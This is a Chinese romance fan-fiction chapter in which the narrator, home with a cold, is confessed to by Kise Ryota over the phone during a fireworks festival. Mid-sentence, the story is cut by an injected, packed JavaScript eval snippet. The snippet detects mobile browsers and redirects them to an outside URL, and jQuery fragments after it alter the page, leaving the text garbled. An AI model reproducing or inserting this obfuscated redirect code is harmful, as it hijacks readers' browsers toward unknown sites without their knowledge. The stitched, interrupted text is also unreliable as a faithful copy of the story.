七月,夏天。
将这两个词联系在一起时,脑海中会自然涌现出许多意象。就像樱花之于春天,红枫之于秋日,提到夏天总该有烟花。
“烟火大会吗……”
我按下手机的免提键,从床头柜上的纸巾盒里扯出一张抽纸,又缩回被窝,声音闷闷地呢喃。
“就在明天哦!因为这段时间在东京合宿,大家都会来,所以应该会很热闹。”
黄濑凉太在手机对面兴冲冲地说,听起来像个即将要出门郊游的小学生一样。
老实说,上次参加烟火大会还是十二岁的时候和家人一起,而那次的回忆完全算不上美好。
人很多、很热、还有蚊子。
大会即将开始的时候,有人趁机抢走了姐姐的手机和钱包……虽然犯人被妈妈当场逮捕,但浪漫美好之类的词汇瞬间就远去了。
不过这次不同。
是喜欢的人在邀请我哎!
我们会穿着浴衣漫步在街道上,他和朋友说话,而我悄悄在旁边听那些我不曾知道的事情;烟火升空时绚烂的光芒会照亮他的脸颊,然后那个时候他去看烟花,我就偷偷看他——
是稍微在脑海里想象,就感觉幸福快要从心脏里满溢出来的画面。
好,这里应该要接上转折词了。
毕竟我总是个不幸的人。
“但是我应该去不了,对不起——”我将手机捂住,探出头打了个喷嚏。
“怎么了?感觉声音有些奇怪,是生病了吗?”黄濑凉太欢快的声音止住,流畅地转换为担忧。
“没事,只是感冒了。”
昨天出门在炎热的天气里出了一身汗,然后回家太累,开了空调之后就直接倒在沙发上睡着了。
谁能想到,这具淋雨也不曾生病的身体竟然不争气地败给了夏天的空调!
“祝你们玩得开心。”我低声说,一半是委屈,另一半是气恼。
其实感冒并不影响出门,可这幅模样实在太狼狈了,自尊心不允许我成为那种在大家聊到途中唐突打个喷嚏的气氛破坏者。
“没关系!八月份横滨也有烟火大会,那个时候应该回神奈川了,想看的话还可以再去——不对,这个不是重点!头痛吗?吃过药了吗?还有哪里不舒服吗?”
普通的感冒在他惊慌的语气下仿佛成了某种绝症,他在我心中形象也陡然变成了为离家的女儿操心的妈妈。
“没有那么严重,休息两天就好了。”
“如果家里没有药的话可以和我说,我这段时间都在东京,随时可以给你送过去!空调温度不要调太低,还有要记得多喝热水!”
“我知道啦,妈妈——”
“为什么是妈妈!”
因为他口中的我听上去像个没有常识且生活不能自理的小孩。
也许是生病的缘故,血液循环受到影响的同时,脑部活动也变得迟钝起来,平时绝不会说出口的失礼想法不自觉就冒了出来。
“这幅絮絮叨叨的样子真的很像啊……”
“咦?难道是在委婉地说我烦吗?!”
“不,是觉得非常安心,感觉黄濑同学很会照顾人。”
那边的声音突然安静下来,再然后,沉重的呼吸声夹杂着电子噪音响起,他低声开口:“这只是——”说到一半又停住,小声碎碎念了些什么。
“嗯?想吃寿喜烧(sukiyaki)?”我努力凑近手机,也能只听到朦胧的尾音。
“不、怎么会突然提到寿喜烧的话题?”
“不是吗?我还以为你突然饿了所以才这么说,不过我也想吃。”
“不是这个,但没什么……”他轻笑一声,才重新用活泼明快的声音说,“下次一起去吃吧,等感冒好了就去!”
“好耶。”
我最后在黄濑凉太的催促声中爬起来吃了药,听话地把空调关掉,窗户打开。但躺了两分钟又觉得热,起身从柜子里搬出了风扇。
忙碌完一番后,我掀开被子的一角,感受着作用微乎其微的风,迷迷糊糊地想。
就算有很多很多不愉快的回忆,就算能瞬间列出无数个缺点,就算这样,我也还是喜欢夏天。
*
第二天醒来时头已经不痛了,鼻塞的症状减轻了许多,但喉咙还是有些难受,喷嚏也没有停下。
总之烟火大会没戏了。
起床后吃了具有异国风情的西式早餐——好吧,只是普通的牛奶麦片和煮鸡蛋。晚饭是寡淡的蔬菜粥,喝了几口后还是没忍住点了很贵的烧鸟外卖。
胃口好心情才会好,心情好病才会好。
我心安理得地列出等式,陷进今早特意抱到阳台的豆袋沙发里,开始静静等待夜幕降临。
虽然没办法身临其境,但姑且还能远程体验一下氛围。而且在家里看烟花不需要门票,也不会被蚊子咬,还不用在人堆中挤来挤去。
真好,完全不用羡慕嘛。
当我正在用消消乐小游戏打发时间时,突然收到了黄濑凉太发来的照片。
还是我熟悉的前辈们。但画面中的每个人都有自己的想法,没有一个人在看镜头。
“本来是想拍张合照,结果大家完全不配合,最后变成了这样。”附送的语音消息如是说道。
那张照片里,穿着青白色箭羽纹浴衣的黄濑凉太占据了画面左端,如果遮住画风明显不同的其他人,就是一张能刊登在时尚杂志上的写真。翻译成人话就是:真好看。
可恶,还是很羡慕。
“这样的合照也很有特色。”我点评道。
这条消息很长一段时间都是未读状态,直到时间临近七点,我接到了他的电话。
“抱歉,刚刚没来得及回消息!人实在太多了。”听见了急促的呼吸音,“因为途中被围住,结果和大家走散了,现在好像来不及赶去座位那边。”
“没事吗?”
“没事啦,我和前辈们发了消息,在河岸后面的自由席这里随便找了个空位,就是只能坐草地上了。”
“感觉很可怜啊。”
“是哦——”他拉长了声音,控诉般地抱怨说,“旁边都是手拉手的情侣,只有我一个人孤零零坐在这边,超可怜的。”
“我有异议。刚刚就是被想要搭话的女孩子们围住了吧?”
“呃呜。”他可怜兮兮地发出两个短音,半天没能吐出辩驳的话语。
隔空幻视了低垂狗狗耳朵的画面,我笑着站起身,伸手扯开面前半开的窗帘。被灯光和灰霾污染的夜空是朦胧的灰,月亮黯淡孤独地挂在高楼的侧面。
【18点57分26秒】
倒计时开始,我听见嘈杂喧闹的人声。而他的声音在这之中清晰地于耳畔响起,却不是预想中的告别:“听说对着升空的烟花许愿会应验。”
“那是流星吧?”
“应该没有差别?大家都会许愿呢。”
“明明生命短暂,却要承载这么多的愿望,烟花好可怜。”
“为什么在可怜烟花啦?”
“我也来许愿好了。”
“和刚刚的话自相矛盾了啊!”
“对不起,烟花。我是个自私的人。”我趴在阳台上,注视着远方热闹的河畔,一本正经地开始许愿,“‘我想要明亮的日子’*。”
“嗯?是说喜欢晴天?”
“不是。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206492|165032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“那——”
“是秘密。”
“又是秘密?”他委屈地说,“真的不能告诉我吗?”
这位擅长蛊惑少女心的天才用上了撒娇攻势,万幸看不到脸效果减半。我不为所动地说:“是很重要的秘密啊。”
“那我也用很重要的秘密和你交换。”
有点心动了,但我忍住没有回答。
在以秒计数的沉默之中,他轻声开口:“我——”
余下的话语被骤然涌起的声浪吞没。
手机屏幕中,分与秒的数字同时跳为零,烟花炸裂的响声与心脏振动的节奏一瞬合拍地奏起。
我抬起头。
浓郁的色彩映照在脸庞上,升空的烟火如同逆飞的流星从视野中划过,绽放出耀眼的光芒,在被点亮的夜空中描绘出璀璨绚烂的瀑布。
砰砰、砰。
手机中的声音比从遥远天空中的响声先一步传来,变为了某种预告。
我贴近手机:“抱歉,刚刚没听清。你说‘我想去厕所’?”
“不是!怎么会在这种场合下突然说要去厕所?!”
“……那果然还是想吃寿喜烧?”
“梗用第二次就不好笑了。”
“月色真美?”
“也不对!”
一连串猜测接连被否定,我最终选择放弃:“可是黄濑同学那边的声音太吵了,根本听不清。”
像是下定了某种决心,他深吸一口气大声说:“真没办法,那就再说一遍!”
少年朦胧的声音突然变得响亮,像是把手机贴在唇边,再拼尽全力喊出来的那样。
他说——
无意识摩挲手机边缘的手指突兀地停住,我下意识发出震惊又茫然的语气词。
有人伸手打开了那扇窗——不,简直像是干脆利落地砸碎了它,无数块玻璃碎屑飞舞在空中,阳光透过其中,在终点处留下万千道刺眼的光斑。
于是那句话语穿透狭窄的窗框、穿透虹彩阶梯般的日光、穿透杂乱的心音,无比清晰地传入我的耳中。
盖过了震耳欲聋的烟花背景音。
他……他好像说我喜欢你???
脑内瞬间出现宇宙、恒星、黑洞,还有无数道晦涩深奥的数学公式。过了很久,我才小心翼翼地问:“玩真心话大冒险输了?”
“是认真的啊!”
“哦。”原来是认真的。
我缓慢退回沙发上坐下,安静几秒,又站了起来。
“……哦。”我表情空白地说,“好的。”
和前一刻高扬的语调截然不同,他嗔怪地闷声哼唧:“反应是不是平淡过头了?很受打击啊——就算是要拒绝也应该稍微——”
其实根本不平淡!心脏差点跟着花火一起炸开了,实在是因为大脑宕机思考停止了而已。
“不是拒绝。”
热意随着血液从心室开始蔓延至耳尖和脸颊,在这几乎要融化皮肤的温度里,我听见自己小声说:“我是说好——”
原本喋喋不休的失落声音停下了。
“……所以是答应?”
这样轻飘飘的话语,仿佛不立刻回应便会破碎的肥皂泡,也说不定是我的幻觉。
我抓着颈边的头发,将它贴到脸颊边,笑着回答:“是啦。”
说起来,现在的他是什么表情呢,会和我一样害羞又激动吗?
“可恶,后悔了。”
“诶?”
“这种事情果然还是当面说比较好,总感觉少了点什么。”
“嗯?”
“不然现在就应该是浪漫的拥抱与接吻环节了啊!”
“……啊。”